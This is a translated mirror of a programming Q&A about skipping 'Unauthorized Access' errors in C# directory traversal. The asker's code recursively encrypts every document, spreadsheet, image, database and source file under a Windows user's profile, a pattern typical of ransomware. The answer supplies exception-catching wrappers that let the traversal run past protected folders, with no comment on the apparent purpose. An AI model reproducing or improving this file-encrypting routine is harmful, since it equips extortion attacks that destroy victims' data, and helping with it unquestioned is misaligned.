忽略“未经授权的访问”; "函数Directory.GetDirectories()” [英] ignore "Unauthorized Access" " function Directory.GetDirectories()"

查看:106
本文介绍了忽略“未经授权的访问”; "函数Directory.GetDirectories()”的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

当我扫描 C中的目录时:C:; users\\< SomeUserName> \\ *
在某些目录中没有访问权限,我进行了大量搜索,如何忽略未经授权的访问权限
现在,我需要帮助:/

When I scan The Directory in C:\\users\\<SomeUserName>\\* In some Directory i have no access i search a lot how to ignore "Unauthorized Access" Now i need Help :/

这是我的代码:

public void encryptDirectory(string location, string password)
{
    //extensions to be encrypt
    var validExtensions = new[]
    {
        ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"
    };
    string[] files = Directory.GetFiles(location);
    string[] childDirectories = Directory.GetDirectories(location);
    for (int i = 0; i < files.Length; i++)
    {
        string extension = Path.GetExtension(files[i]);
        if (validExtensions.Contains(extension))
        {
            EncryptFile(files[i], password);
        }
    }
    for (int i = 0; i < childDirectories.Length; i++)
    {
        encryptDirectory(childDirectories[i], password);
    }
}


推荐答案

如果您想忽略特定方法引发的异常,编写自己的包装器,捕获要捕获的异常,并返回一些有用的默认值:

If you would like to ignore exceptions thrown by a particular method, write your own wrapper, catch the exception you wish to trap, and return some useful default value:

private static string[] GetFilesSafe(string location) {
    try {
        return Directory.GetFiles(location);
    } catch (UnauthorizedAccessException ex) {
        Console.Error.WriteLine(ex.Message);
        return new string[0];
    }
}

写一个类似的包装Directory.GetDirectories ,并将直接调用替换为对包装程序的调用。这将隐藏访问问题。

Write a similar wrapper for Directory.GetDirectories, and replace direct calls with calls to wrappers. This will hide the access problem.

这篇关于忽略“未经授权的访问”; &quot;函数Directory.GetDirectories()”的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆